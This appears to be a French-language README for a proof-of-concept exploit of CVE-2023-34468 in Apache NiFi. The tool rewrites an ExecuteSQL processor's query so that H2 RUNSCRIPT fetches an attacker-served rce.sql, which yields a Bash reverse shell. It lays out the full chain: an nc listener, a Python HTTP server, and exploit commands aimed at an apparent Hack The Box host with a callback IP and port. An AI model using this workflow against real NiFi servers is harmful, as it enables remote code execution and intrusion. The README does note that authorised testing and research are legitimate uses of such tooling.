CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC

Petite preuve de concept en Python pour abuser d'un processeur ExecuteSQL Apache NiFi modifiable avec une charge utile H2 RUNSCRIPT afin de déclencher l'exécution de commandes à distance via un reverse shell Bash.

Uniquement pour les tests autorisés et la recherche. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite.

Ce qu'il fait

ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore

1. Découvre automatiquement un seul processeur ExecuteSQL, ou accepte --processor-id manuellement.
2. Écrit une charge utile locale rce.sql qui définit et appelle un alias d'exécution de shell basé sur Java.
3. Vous invite à démarrer votre propre écouteur nc et serveur HTTP.
4. Met à jour la requête du processeur pour récupérer rce.sql via H2 RUNSCRIPT.
5. Démarre le processeur pour déclencher le reverse shell.
6. Restaure la configuration originale du processeur après que vous ayez confirmé que le shell est arrivé.

Captures d'écran

1. Configuration

2. Requête vers la charge utile

3. Shell reçu

4. Résultat

Configuration

git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

Utilisation

Terminal 1 :

rlwrap nc -lvnp 4444

Terminal 2, depuis le répertoire de ce dépôt :

python3 -m http.server 8000

Terminal 3 :

python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444

Pour la sélection manuelle du processeur :

python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444

Affecté

Remarques

• Le script suppose que l'API NiFi est accessible et que l'utilisateur/session actuel peut modifier le processeur cible.
• Le fichier rce.sql généré est ignoré par git et doit être servi depuis le répertoire du dépôt avec python3 -m http.server.
• Si la découverte automatique ne trouve aucun processeur ou plusieurs candidats, passez l'UUID du processeur manuellement avec --processor-id.
• Le script tente de restaurer la configuration originale du processeur ExecuteSQL après que vous ayez confirmé que le shell est arrivé.

Références

• NVD — CVE-2023-34468
• Apache NiFi
• Commandes de la base de données H2

Auteur

ozcanpng — github.com/ozcanpng — ozcanpng.dev